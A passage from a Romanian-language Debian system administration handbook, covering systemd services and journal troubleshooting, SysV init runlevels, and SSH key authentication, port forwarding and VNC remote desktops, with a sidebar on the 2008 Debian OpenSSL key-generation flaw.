șterge memoria BIOS pentru a reseta parola...

Systemd execută mai multe procese, însărcinate cu configurarea sistemului: tastatură, drivere, sisteme de
fișiere, rețea, servicii. Face acest lucru păstrând o viziune globală asupra sistemului în ansamblu și a
cerințelor componentelor. Fiecare componentă este descrisă de o “unit file” (uneori mai multe); sintaxa
generală este derivată din mult folositele: sintaxa “*.ini files“, cu perechi key = value grupate între

164
anteturile [section]. Fișierele de unități sunt stocate în /lib/systemd/system/ și
/etc/systemd/system/; ele au mai multe variante, dar aici ne vom concentra pe “servicii” și “ținte”.
Un systemd “file service” descrie un proces gestionat de systemd. Conține aproximativ aceleași informații ca și
scripturile inițiale în stil vechi, dar exprimate într-un mod declarativ (și mult mai concis). Systemd gestionează
cea mai mare parte a sarcinilor repetate (începerea și oprirea procesului, verificarea stării sale, înregistrarea,
abandonarea privilegiilor și așa mai departe), iar fișierul de serviciu trebuie să completeze numai specificul
procesului. De exemplu, aici este fișierul de service pentru SSH:

[Unit]
Description=OpenBSD Secure Shell server
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=sshd.service

După cum vedeți, există foarte puțin cod acolo, doar declarații. Systemd are grijă de afișarea rapoartelor de
progres, de a urmări procesele și chiar de a le reporni atunci când este nevoie.
Un systemd “target file” descrie o stare a sistemului, în care un set de servicii este cunoscut ca fiind
operațional. Poate fi gândit ca un echivalent al runlevel-ului în stil vechi. Una dintre ținte este local-
fs.target; când este atins, restul sistemului poate presupune că toate sistemele de fișiere locale sunt
montate și accesibile. Alte ținte includ network-online.target și sound.target. Dependențele unei
ținte pot fi listate fie în fișierul țintă (în linia Requires= line), fie utilizând o legătură simbolică către un
fișier de servicii din directorul /lib/systemd/system/targetname.target.wants/. De exemplu,
/etc/systemd/system/printer.target.wants/ conține o legătură la
/lib/systemd/system/cups.service; prin urmare, systemd se va asigura că CUPS funcționează pentru
a ajunge la printer.target.
Deoarece fișierele de unități sunt mai degrabă declarative decât scripturi sau programe, ele nu pot fi rulate
direct și sunt interpretate doar de systemd; Prin urmare, mai multe utilitare permit administratorului să
interacționeze cu systemd și să controleze starea sistemului și a fiecărei componente.
Primul utilitar de acest fel este systemctl. Atunci când este executat fără niciun argument, acesta listează
toate fișierele de unitate cunoscute de systemd (cu excepția celor care au fost dezactivate), precum și starea
lor. systemctl status oferă o vedere mai bună a serviciilor, precum și a proceselor aferente. Dacă este
dat numele unui serviciu (ca în systemctl status ntp.service), acesta returnează și mai multe detalii
precum și ultimele câteva linii de jurnal legate de serviciu (mai multe despre asta mai târziu).
Pornirea unui serviciu de mână este o simplă problemă de executare a systemctl start
servicename.service. După cum se poate ghici, oprirea serviciului se face cu systemctl stop
servicename.service; alte sub-comenzi includ reload și restart.
Pentru a controla dacă un serviciu este activ (adică dacă va porni automat la pornire), utilizați systemctl
enable servicename.service (sau disable). is-enabled permite verificarea stării serviciului.
O caracteristică interesantă a systemd este că include o componentă de logare numită journald. Acesta
vine ca o completare la sisteme de jurnal mai tradiționale, cum ar fi syslogd, dar adaugă funcții interesante,
cum ar fi o legătură formală între un serviciu și mesajele pe care le generează și capacitatea de a capta
mesaje de eroare generate de secvența sa de inițializare. Mesajele pot fi afișate ulterior, cu puțin ajutor din
comanda journalctl. Fără niciun argument, pur și simplu transmite toate mesajele de jurnal care au
apărut de la pornirea sistemului; rareori va fi folosit într-o asemenea manieră. De cele mai multe ori, acesta
va fi utilizat cu un identificator de serviciu:

# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST.
⮩ --
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

165
Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129
⮩ port 53394 ssh2
Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user
⮩ roland by (uid=0)

Un alt fanion de linie de comandă util este -f, care instruiește journalctl să mențină afișarea de mesaje
noi pe măsură ce sunt emise (mai mult în maniera lui tail -f file).
Dacă un serviciu nu pare să funcționeze așa cum era de așteptat, primul pas pentru rezolvarea problemei
este să verificați, dacă serviciul rulează efectiv, cu systemctl status; dacă nu, iar mesajele date de
prima comandă nu sunt suficiente pentru a diagnostica problema, verificați jurnalele adunate de journald
despre serviciul respectiv. De exemplu, presupunem că SSH server nu funcționează:

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)
Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

⮩ status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,
⮩ refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST.
⮩ --
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129
⮩ port 38742 ssh2
Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user
⮩ roland by (uid=0)
Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option
⮩ "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
⮩ status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option
⮩ "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
⮩ status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option
⮩ "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
⮩ status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option
⮩ "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
⮩ status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option
⮩ "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
⮩ status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,
⮩ refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# vi /etc/ssh/sshd_config
# systemctl start ssh.service
# systemctl status ssh.service

166
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Main PID: 1222 (sshd)
CGroup: /system.slice/ssh.service
└─1222 /usr/sbin/sshd -D
#

După verificarea stării serviciului (eșuat), am continuat să verificăm jurnalele; acestea indică o eroare în
fișierul de configurare. După editarea fișierului de configurare și remedierea erorii, repornim serviciul, apoi
verificăm dacă acesta funcționează într-adevăr.

ÎN DETALIU Am descris doar cea mai de bază dintre capabilitățile lui systemd în această secțiune. Oferă multe alte
Alte tipuri de fișiere de unitate caracteristici interesante și vom enumera doar câteva aici:
• socket activation: un fișier de unitate “socket” poate fi utilizat pentru a descrie o rețea sau un soclu
Unix gestionat de systemd; acest lucru înseamnă că socket-ul va fi creat de sistemd, iar serviciul real
poate fi pornit la cerere atunci când va apărea o încercare de conectare reală. Aceasta reproduce
aproximativ setul de caracteristici inetd. Vedeți systemd.socket(5).
• timers: un fișier de unitate “cronometru” descrie evenimentele care au loc cu o frecvență fixă sau la
ore specifice; când un serviciu este legat de un astfel de cronometru, sarcina corespunzătoare va fi
executată ori de câte ori se declanșează. Aceasta permite reproducerea unei părți din caracteristicile
cron. Vedeți systemd.timer(5).
• network: un fișier de unitate “rețea” descrie o interfață de rețea, care permite configurarea unor astfel
de interfețe, precum și exprimarea faptului că un serviciu depinde de crearea unei anumite interfețe.

9.1.2. Sistemul System V init

System V init System (pe care îl vom numi init pentru concizie) execută mai multe procese, urmând instrucțiuni
din fișierul /etc/inittab. Primul program care este executat (care corespunde pasului sysinit) este /etc/
init.d/rcS, un script care execută toate programele din directorul /etc/rcS.d/.
Printre acestea, veți găsi succesiv programe care se ocupă de:
• configurarea tastaturii consolei;
• loading drivers : (driver-e de încărcare) cea mai mare parte a modulelor de kernel sunt încărcate chiar
de kernel pe măsură ce este detectat hardware-ul; driverele suplimentare au fost apoi încărcate
automat când sunt listate modulele corespunzătoare în /etc/modules;
• verificarea integrității sistemelor de fișiere;
• montarea partițiilor locale;
• configurarea rețelei;
• montarea sistemelor de fișiere de rețea (NFS).

NOȚIUNI DE BAZĂ Modulele de Kernel au de asemenea opțiuni care pot fi configurate prin introducerea unor fișiere în
Module de kernel și opțiuni /etc/modprobe.d/. Aceste opțiuni sunt definite cu directive de acest fel: options module-name
option-name=option-value. Mai multe opțiuni pot fi specificate cu o singură directivă, dacă este
necesar.
Aceste fișiere de configurare sunt destinate programului modprobe — care încarcă un modul de kernel cu
dependențele sale (modulele pot numi într-adevăr alte module). Acest program este furnizat de pachetul kmod.

După această etapă, init preia și pornește programele activate în nivelul de execuție (runlevel) implicit
(care este de obicei runlevel 2). Execută /etc/init.d/rc 2, un script care pornește toate serviciile listate
în /etc/rc2.d/ și ale căror nume încep cu litera “S”. Numărul de două cifre care urmează a fost folosit
istoric pentru a defini ordinea în care serviciile trebuiau pornite, dar în zilele noastre, sistemul de pornire
implicit utilizează insserv, care planifică totul automat pe baza dependențelor scripturilor. Fiecare script
boot declară astfel condițiile care trebuie îndeplinite pentru a porni sau opri serviciul (de exemplu, dacă
trebuie să înceapă înainte sau după un alt serviciu); init le lansează în ordinea care îndeplinește aceste
condiții. Numerotarea statică a scripturilor nu mai este luată în considerare (dar trebuie să aibă întotdeauna
un nume care începe cu “S” urmat de două cifre și numele real al scriptului folosit pentru dependențe). În
general, serviciile de bază (precum logarea cu rsyslog sau alocarea portului cu portmap) sunt începute
mai întâi, urmate de servicii standard și de interfața grafică (gdm3).
Acest sistem de încărcare bazat pe dependență face posibilă automatizarea renumerotării, ceea ce ar putea
fi destul de obositor dacă ar trebui făcut manual, și limitează riscurile de eroare umană, deoarece

167
planificarea este efectuată în funcție de parametrii indicați. Un alt beneficiu este că serviciile pot fi pornite în
paralel atunci când sunt independente unele de altele, ceea ce poate accelera procesul de pornire.
init distinge mai multe niveluri de execuție, astfel încât acesta poate trece de la unul la altul cu comanda
telinit new-level. Imediat, init execută /etc/init.d/rc din nou cu noul nivel de execuție. Acest
script va porni apoi serviciile care lipsesc și le va opri pe cele care nu mai sunt dorite. Pentru a face acest
lucru, se referă la conținutul /etc/rcX.d (unde X reprezintă noul nivel de execuție). Scripturile care încep
cu “S” (ca în “Start”) sunt servicii care trebuie pornite; cele care încep cu “K” (ca în “Kill”) sunt serviciile care
trebuie oprite. Scriptul nu pornește niciun serviciu care era deja activ în nivelul de execuție anterior.
În mod implicit, System V init în Debian folosește patru niveluri de execuție diferite:
• Level 0 este folosit doar temporar, în timp ce computerul se stinge. Ca atare, conține doar multe
scripturi “K”.
• Level 1, cunoscut și sub denumirea de single-user mode , corespunde sistemului în mod degradat;
include doar servicii de bază și este destinat operațiunilor de întreținere în care interacțiunile cu
utilizatorii obișnuiți nu sunt dorite.
• Level 2 este nivelul pentru funcționarea normală, care include servicii de rețea, o interfață grafică,
autentificări ale utilizatorilor etc.
• Level 6 este similar cu level 0 , cu excepția faptului că este utilizat în faza de oprire care precede o
repornire.
Există alte niveluri, în special 3 până la 5. În mod implicit, acestea sunt configurate să funcționeze la fel ca
level 2, dar administratorul le poate modifica (prin adăugarea sau ștergerea scripturilor din directoarele
/etc/rcX.d) pentru adaptarea la nevoile particulare.

Figura 9.2 Secvență de pornire a unui computer care rulează Linux cu System V init

Toate scripturile conținute în diferite directoare /etc/rcX.d sunt cu adevărat doar legături simbolice —
create la instalarea pachetului de către programul update-rc.d — arătând scripturile reale stocate în
/etc/init.d/. Administratorul poate regla fin serviciile disponibile în fiecare nivel de execuție prin
reexecutarea update-rc.d cu parametri reglați. Pagina de manual update-rc.d(1) descrie în detaliu sintaxa.
Rețineți că eliminarea tuturor legăturilor simbolice (cu parametrul remove) nu este o metodă bună pentru a
dezactiva un serviciu. În schimb, ar trebui să îl configurați pur și simplu pentru a nu porni în runlevel-ul dorit
(păstrând în același timp apelurile corespunzătoare pentru a-l opri în cazul în care serviciul rulează în nivelul

168
de execuție anterior). De când update-rc.d are o interfață oarecum convolută, poate preferați să utilizați
rcconf (din pachetul rcconf) care oferă o interfață mai ușor de utilizat.

POLITICA DEBIAN Scripturile de întreținere pentru pachetele Debian vor reporni uneori anumite servicii pentru a le asigura
Repornirea serviciilor disponibilitatea sau pentru a lua în considerare anumite opțiuni în cont. Comanda care controlează un serviciu —
service service operation — nu ia în considerare nivelul de execuție, presupune (greșit) că serviciul
este utilizat în prezent și poate iniția astfel operațiuni incorecte (pornirea unui serviciu care a fost oprit în mod
deliberat sau oprirea unui serviciu deja oprit etc.). Debian a introdus, prin urmare, invoke-rc.d: acest
program trebuie utilizat de scripturile de întreținere pentru a rula scripturi de inițializare a serviciilor și va
executa doar comenzile necesare. Rețineți, contrar utilizării obișnuite, sufixul .d este folosit aici într-un nume
de program și nu într-un director.

În cele din urmă, init pornește programe de control pentru diverse console virtuale (getty). Afișează un
prompt, în așteptarea unui nume de utilizator, apoi execută login user pentru a iniția o sesiune.

VOCABULAR Primele computere erau de obicei separate în mai multe părți foarte mari: carcasa de stocare și unitatea centrală
Consolă și terminal de procesare erau separate de dispozitivele periferice folosite de operatori pentru a le controla. Acestea făceau
parte din mobilierul separat, “consola”. Acest termen a fost păstrat, dar sensul său sa schimbat. A devenit mai
mult sau mai puțin sinonim cu “terminal”, este o tastatură și un ecran.
Odată cu dezvoltarea computerelor, sistemele de operare au oferit mai multe console virtuale pentru a permite
mai multe sesiuni independente în același timp, chiar dacă există doar o tastatură și un ecran. Majoritatea
sistemelor GNU/Linux oferă șase console virtuale (în modul text), accesibile prin tastarea combinațiilor de taste
Control+Alt+F1 până la Control+Alt+F6.
Prin extensie, termenii “consolă” și “terminal” se pot referi, de asemenea, la un emulator terminal într-o sesiune
grafică X11 (cum ar fi xterm, gnome-terminal sau konsole).

9.2 Autentificare la distanță

Este esențial pentru un administrator să se poată conecta la un computer de la distanță. Server-ele, închise
în propria lor cameră, sunt rareori echipate cu tastaturi și monitoare permanente, dar sunt conectate la rețea.

NOȚIUNI DE BAZĂ Un sistem în care mai multe procese comunică între ele este adesea descris cu metafora “client/server”. Server-ul
Client, server este programul care preia cereri venite de la un client și le execută. Clientul controlează operațiunile, server-ul
nu ia nicio inițiativă proprie.

9.2.1. Conectare sigură la distanță: SSH

Protocolul SSH (Secure SHell) a fost proiectat având în vedere securitatea și fiabilitatea. Conexiunile care
utilizează SSH sunt sigure: partenerul este autentificat și toate schimburile de date sunt criptate.

CULTURĂ Înainte de SSH, Telnet și RSH au fost principalele instrumente utilizate pentru a vă conecta de la distanță. Acum
Telnet și RSH sunt învechite sunt în mare măsură învechite și nu ar trebui să mai fie folosite chiar dacă Debian le oferă în continuare.

VOCABULAR Când trebuie să oferiți unui client capacitatea de a efectua sau declanșa acțiuni pe un server, securitatea este
Autentificare, criptare importantă. Trebuie să vă asigurați identitatea clientului; aceasta este autentificarea. Această identitate constă, de
obicei, dintr-o parolă care trebuie păstrată secretă, altfel orice alt client ar putea găsi parola. Acesta este scopul
criptării, care este o formă de codificare care permite ca două sisteme să-și comunice informații confidențiale pe
un canal public, protejându-le în același timp de a fi lizibile altora.
Autentificarea și criptarea sunt adesea menționate împreună, atât pentru că sunt frecvent utilizate împreună, cât
și pentru că sunt de obicei implementate cu concepte matematice similare.

SSH oferă, de asemenea, două servicii de transfer de fișiere. scp este un instrument de linie de comandă
care poate fi folosit ca cp, cu excepția faptului că orice cale către o altă mașină este prefixată cu numele
mașinii, urmată de două puncte.

$ scp file machine:/tmp/

sftp este o comandă interactivă, similară cu ftp. Într-o singură sesiune,sftp poate transfera mai multe
fișiere și este posibilă manipularea acestor fișiere la distanță (ștergeți, redenumiți, modificați permisiunile
etc.).

169
Debian folosește OpenSSH, furcarea originalului SSH dezvoltat de SSH Communications Security Corp, din
Finlanda. OpenSSH este o versiune liberă de SSH menținută de proiectul OpenBSD (un sistem de operare
liber bazat pe nucleul BSD, axat pe securitate). SSH Communications Security Corp a dezvoltat inițial SSH ca
software liber, dar în cele din urmă a decis să își continue dezvoltarea sub o licență proprietară. Proiectul
OpenBSD a creat apoi OpenSSH pentru a menține o versiune liberă de SSH.

NOȚIUNI DE BAZĂ O “furcare”, în domeniul software, înseamnă un proiect nou care începe ca o clonă a unui proiect existent și care
Fork va concura cu acesta. Mai departe, ambele programe de software vor devia rapid în ceea ce privește noile
dezvoltări. O furcare este adesea rezultatul dezacordurilor din cadrul echipei de dezvoltare.
Opțiunea de a bifurca un proiect este un rezultat direct al înseși naturii software-ului liber; o furcare este un
eveniment sănătos atunci când permite continuarea unui proiect ca software liber (de exemplu, în cazul
modificărilor licenței). O furcare care rezultă din dezacordurile tehnice sau personale este adesea o risipă de
resurse umane; o altă rezoluție ar fi de preferat. Fuziunile a două proiecte care anterior au trecut printr-o furcare
nu sunt necunoscute.

OpenSSH este împărțit în două pachete: partea de client se află în pachetul openssh-client, iar partea de server
este în pachetul openssh-server. Meta-pachetul ssh depinde de ambele părți și facilitează instalarea ambelor
(apt install ssh).

9.2.1.1. Autentificarea bazată pe cheie

De fiecare dată când cineva se conectează prin SSH, remote server cere o parolă pentru autentificarea
utilizatorului. Acest lucru poate fi discutabil dacă doriți să automatizați o conexiune sau dacă utilizați un
instrument care necesită conexiuni frecvente prin SSH. Acesta este motivul pentru care SSH oferă un sistem
de autentificare bazat pe cheie.
Utilizatorul generează o pereche de chei pe mașina client cu ssh-keygen -t rsa; cheia publică este
stocată în ~/.ssh/id_rsa.pub, în timp ce cheia privată corespunzătoare este stocată în
~/.ssh/id_rsa. Utilizatorul utilizează apoi ssh-copy-id server pentru a adăuga cheia lor publică la
fișierul ~/.ssh/authorized_keys pe server. În cazul în care cheia privată nu a fost protejată cu o “super-
parolă” la momentul creării sale, toate autentificările ulterioare pe server vor funcționa fără parolă. În caz
contrar, cheia privată trebuie decriptată de fiecare dată prin introducerea parolei. Din fericire, ssh-agent ne
permite să păstrăm cheile private în memorie pentru a nu reintroduce regulat parola. Pentru aceasta, utilizați
pur și simplu ssh-add (o dată pe sesiune de lucru), cu condiția ca sesiunea să fie deja asociată cu o
instanță ssh-agent funcțională. Debian îl activează implicit în sesiunile grafice, dar acesta poate fi
dezactivat modificând /etc/X11/Xsession.options. Pentru o sesiune de consolă, puteți porni manual
cu eval $(ssh-agent).

SECURITATE Cine are cheia privată se poate autentifica pe contul astfel configurat. Acesta este motivul pentru care accesul la
Protecția cheii private cheia privată este protejat de o ”expresie de acces”. Cineva care achiziționează o copie a unui fișier cu cheie
privată (de exemplu, ~/.ssh/id_rsa) încă trebuie să cunoască această frază pentru a putea folosi. Această
protecție suplimentară nu este totuși inexpugnabilă și, dacă credeți că acest fișier a fost compromis, cel mai bine
este să dezactivați cheia de pe calculatoarele pe care a fost instalat (eliminând-o din fișierele
authorized_keys) și înlocuirea acesteia cu o cheie recent generată.

CULTURĂ Biblioteca OpenSSL, așa cum a fost furnizată inițial în Debian Etch, a avut o problemă gravă în generatorul său
Punctul slab al OpenSSL în de numere aleatorii (RNG). Într-adevăr, întreținătorul Debian a făcut modificări, astfel încât aplicațiile care îl
Debian Etch utilizează să nu mai genereze avertismente atunci când sunt analizate prin instrumente de testare a memoriei,
cum ar fi valgrind. Din păcate, această schimbare a însemnat și faptul că RNG a folosit o singură sursă de
entropie corespunzătoare numărului procesului (PID) ale căror 32.000 de valori posibile nu oferă un suficient
caracter aleatoriu.
➨ http://www.debian.org/security/2008/dsa-1571
Mai exact, de fiecare dată când OpenSSL a fost folosit pentru a genera o cheie, a produs întotdeauna o cheie
într-un set cunoscut de sute de mii de chei (32.000 înmulțite cu un număr mic de lungimi de cheie). Acest lucru a
afectat cheile SSH, cheile SSL și certificatele X.509 utilizate de numeroase aplicații, cum ar fi OpenVPN. Un
cracker a trebuit doar să încerce toate tastele pentru a obține acces neautorizat. Pentru a reduce impactul
problemei, demonul SSH a fost modificat pentru a refuza cheile problematice care sunt enumerate în pachetele
openssh-blacklist și openssh-blacklist-extra. În plus, comanda ssh-vulnkey permite identificarea cheilor
posibil compromise în sistem.
O analiză mai detaliată a acestui incident scoate la lumină faptul că este rezultatul mai multor probleme (mici),
atât în cadrul proiectului OpenSSL, cât și cu întreținătorul pachetului Debian.

170
 O bibliotecă utilizată pe scară largă, cum ar fi OpenSSL —fără modificări — nu ar trebui să genereze avertizări
atunci când este testată de valgrind. În plus, codul (în special părțile la fel de sensibile precum RNG) ar
trebui să fie mai bine comentate pentru a preveni astfel de erori. Din partea lui Debian, întreținătorul a vrut să
valideze modificările cu dezvoltatorii OpenSSL, dar a explicat pur și simplu modificările fără a furniza corecția
corespunzătoare pentru a revizui și nu a reușit să menționeze rolul său în Debian. În cele din urmă, alegerile de
întreținere nu au fost optime: modificările aduse codului inițial nu au fost clar documentate; modificările aduse
codului inițial nu au fost clar documentate; toate modificările au fost stocate în mod eficient într-un depozit
Subversion, dar s-au încheiat toate într-un singur patch în timpul creării pachetului sursă.
În astfel de condiții este dificil să găsești măsurile corective pentru a preveni reapariția unor astfel de incidente.
Lecția de învățat aici este că fiecare divergență pe care Debian o introduce în software-ul din amonte trebuie să
fie justificat, documentat, depus la proiectul din amonte, atunci când este posibil, și mediatizat pe scară largă.
Din această perspectivă a fost dezvoltat noul format al pachetului sursă (“3.0 (quilt)”) și serviciul Web de surse
Debian.
➨ http://sources.debian.net

9.2.1.2. Utilizarea la distanță a aplicațiilor X11

Protocolul SSH permite redirecționarea datelor grafice (sesiunea “X11”, de la numele celui mai răspândit
sistem grafic din Unix); server-ul păstrează apoi un canal dedicat pentru aceste date. Mai exact, un program
grafic executat de la distanță poate fi afișat pe X.org server al ecranului local, iar întreaga sesiune (intrare și
afișare) va fi sigură. Deoarece această caracteristică permite aplicațiilor la distanță să interfereze cu sistemul
local, aceasta este dezactivată implicit. Puteți activa aceasta specificând X11Forwarding yes în fișierul de
configurare al server-ului (/etc/ssh/sshd_config). În cele din urmă, utilizatorul trebuie să o solicite
adăugând opțiunea -X la ssh în linia de comandă.

9.2.1.3. Crearea tunelurilor criptate cu port forwarding

Opțiunile sale -R și -L permit comenzii ssh să creeze “tuneluri criptate” între două mașini, redirecționând în
siguranță un local TCP port la o mașină de la distanță sau invers (vedeți bara laterală “TCP/UDP” pagina 191).

VOCABULAR Internetul și majoritatea rețelelor LAN conectate la acesta funcționează în modul pachet și nu în modul conectat,
Tunel ceea ce înseamnă că un pachet emis de la un computer la altul va fi oprit la mai multe routere intermediare
pentru a-și găsi drumul către destinație. Puteți simula în continuare o operație conectată în care fluxul este
încapsulat în pachete IP normale. Aceste pachete își urmează traseul obișnuit, dar fluxul este reconstruit
neschimbat la destinație. Numim aceasta “tunel”, analog cu un tunel rutier în care vehiculele circulă direct de la
intrare (intrare) până la ieșire (ieșire) fără a întâlni nicio intersecție, spre deosebire de o cale de pe suprafața care
ar implica intersecții și schimbarea direcției.
Puteți folosi această ocazie pentru a adăuga criptare tunelului: fluxul care trece prin el este apoi de nerecunoscut
din exterior, dar este returnat în formă decriptată la ieșirea din tunel.

ssh -L 8000:server:25 intermediary stabilește o sesiune SSH cu gazda intermediară și ascultă

local port 8000 (a se vedea figura 9.3 “Redirecționarea unui port local cu SSH” pagina 171). Pentru orice conexiune
stabilită pe acest port, ssh va iniția o conexiune de la computerul intermediar la port 25 pe server, și va lega
împreună ambele conexiuni.
ssh -R 8000:server:25 intermediary stabilește, de asemenea, o sesiune SSH la computerul
intermediar, dar pe această mașină ssh ascultă port 8000 (vezi figura 9.4 “Redirecționarea unui port la distanță
cu SSH” pagina 171). Orice conexiune stabilită pe acest port va determina ssh să deschidă o conexiune de la
mașina locală la port 25 al server-ului, și să lege două ambele conexiuni.
În ambele cazuri, conexiunile sunt realizate cu port 25 pe server-ul gazdă, care trec prin SSH tunnel stabilit
între mașina locală și mașina intermediară. În primul caz, intrarea în tunnel este local port 8000, iar datele se
deplasează către mașina intermediară înainte de a fi direcționate către server-ul din rețeaua “publică”. În cel
de-al doilea caz, intrarea și ieșirea din tunnel sunt inversate; intrarea este port 8000 pe mașina intermediară,
ieșirea este pe gazda locală, iar datele sunt apoi direcționate către server. În practică, server-ul este, de
obicei, mașina locală sau intermediară. Astfel SSH securizează conexiunea de la un capăt la celălalt.

171
 Figura 9.3 Redirecționarea unui port local cu SSH

Figura 9.4 Redirecționarea unui port la distanță cu SSH

9.2.2. Folosirea desktopurilor grafice la distanță

VNC (Virtual Network Computing) permite accesul de la distanță la desktopurile grafice
Acest instrument este folosit mai ales pentru asistență tehnică; administratorul poate vedea erorile cu care
se confruntă utilizatorul și le poate arăta cursul corect al acțiunii fără a fi necesar să stea lângă ei.
În primul rând, utilizatorul trebuie să autorizeze partajarea sesiunii. Mediul grafic GNOME desktop din
Jessie include această opțiune în panoul său de configurare (contrar versiunilor anterioare ale Debian,
unde utilizatorul a trebuit să instaleze și să ruleze vino). KDE necesită în continuare utilizarea krfb pentru
a permite partajarea unei sesiuni existente prin VNC. Pentru alte medii grafice desktop, comanda x11vnc
(din pachetul Debian cu același nume) servește aceluiași scop; îl puteți pune la dispoziția utilizatorului cu o
pictogramă explicită.
Când sesiunea grafică este pusă la dispoziție de VNC, administratorul trebuie să se conecteze la ea cu un
VNC client. GNOME are vinagre și remmina pentru asta, în timp ce KDE include krdc (în meniu la K →
Internet → Remote Desktop Client). Există alți clienți VNC care folosesc linia de comandă, cum ar fi
xvnc4viewer în pachetul Debian cu același nume. Odată conectat, administratorul poate vedea ce se
întâmplă, să lucreze la mașină de la distanță și să-i arate utilizatorului cum să procedeze.

172
 SECURITATE Dacă doriți să vă conectați prin VNC și nu doriți ca datele dvs. să fie trimise în text clar în rețea, este posibil să
VNC over SSH încapsulați datele într-un tunel SSH (a se vedea secțiunea 9.2.1.3. “Crearea tunelurilor criptate cu port
forwarding” pagina 171). Pur și simplu trebuie să știți că VNC folosește implicit portul 5900 pentru primul ecran
(numit “localhost:0”), 5901 pentru al doilea (numit “localhost:1”) etc.
Comanda ssh -L localhost:5901:localhost:5900 -N -T machine creează un tunel între
portul local 5901 în interfața localhost și portul 5900 al mașinii gazdă. Primul “localhost” restricționează SSH la
ascultarea numai a acestei interfețe pe mașina locală. Al doilea ”localhost” indică interfața de pe mașina de la
distanță care va primi traficul de rețea intrând în ”localhost: 5901”. Astfel vncviewer localhost:1 va
conecta clientul VNC la ecranul de la distanță, chiar dacă indicați numele mașinii locale.
Când sesiunea VNC este închisă, nu uitați să închideți tunelul, renunțând și la sesiunea SSH corespunzătoare.

NOȚIUNI DE BAZĂ gdm3, kdm, lightdm și xdm sunt managere de afișare. Acestea preiau controlul interfeței grafice la scurt timp
Display Manager după pornire pentru a oferi utilizatorului un ecran de autentificare. După ce utilizatorul s-a autentificat, execută
programele necesare pentru a începe o sesiune de lucru grafică.

VNC funcționează, de asemenea, pentru utilizatorii de telefonie mobilă sau directorii de companii care,
ocazional, trebuie să se autentifice de acasă pentru a accesa un desktop la distanță similar cu cel pe care îl
folosesc la serviciu. Configurația unui astfel de serviciu este mai complicată: mai întâi instalați pachetul
vnc4server, schimbați configurația managerului de afișare pentru a accepta solicitările XDMCP Query (pentru
gdm3 , acest lucru se poate face adăugând Enable=true în secțiunea “xdmcp” a fișierului
